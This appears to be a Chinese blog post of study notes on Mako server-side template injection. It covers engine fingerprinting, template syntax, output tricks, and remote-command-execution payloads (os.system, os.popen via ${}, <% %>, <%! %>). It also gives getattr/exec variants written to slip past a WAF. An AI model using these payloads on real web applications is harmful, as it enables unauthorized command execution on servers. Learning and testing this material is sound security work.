mako模板

绿色箭头是执行成功,红色箭头是执行失败。
  注入${7*7}回显出49,再注入
{"z".join("ab")},如果执行成功回显出zab就说明是Mako模板

一、介绍

mako 是 Pylons 的默认模板语言,它们之间的关系与 jinja2 和 flask 的关系类似

二、基础语法

基础语法

  1. 变量取值:${ },比如输入 1+12*2,或者是字符串、调用对象的方法,都会渲染出执行的结果

  2. 控制结构:%for ... : %endfor%if ... : ... %elif: ... % else: ... %endif

  3. Python 代码块:<% ... %>

  4. 导入模块:在代码块的基础上加一个感叹号 <%! ... %>

  5. 定义函数:<%def name="..." > ... <!--%def-->,调用:${...()}

  6. 注释:<%doc>...

  7. Mako 输出方法

【1】context.write

<% exec("getattr(context, \"write\")(\"hello\")") %> #输出hello

【2】__M_writer前面2个下划线,后面1个

<% __M_writer(str(7*7)) %> 
#回显49

【3】${expr}默认具有回显

三、攻击思路

mako 本身可以完美支持 Python 语句,所以利用 <% %><%! %>${} 可以非常轻松地进行攻击,例如

<%!
import os
os.system("whoami")
%>

# 或者

<%__import__("os").system("whoami")%>

# 或者

${__import__("os").system("whoami")}

四、探测mako模板payload:

【1】<% a=1 %>${a}

${7*7} WAF 被拦截
<%=7*7%> WAF 被拦截
<% a=1 %>${a} 回显渲染异常:SyntaxException Mako,可以判断为mako模板

原理:<% a=1 %>是mako中的代码模块,里面的内容会被当作python代码直接执行,这里即定义了一个变量a=1,而${a}代表将变量a的值渲染到页面上,整体等效于执行print(a)

【2】%s

直接输入%s,页面返回mako特征明显的CompileException

image-20260527211053608

五、绕过

【1】使用getattr绕过

getattr(object, name)=obj.name

# 被拦截
os.popen("id").read()

# 绕过:用 getattr + __import__ 拆分 "os.popen" 子串
getattr(__import__("os"), "popen")("id").read()

payload:(注:import os后面有换行)

<% exec("""import os
getattr(context, "write")(getattr(getattr(__import__("os"), "popen")("id"), "read")())""") %>
<% __M_writer(str(7*7)) %>
<% __M_writer(getattr(getattr(__import__("os"),"popen")("ls /"),"read")()) %>
posted @ 2026-06-18 13:16  Doll_Marker  阅读(11)  评论(0)    收藏  举报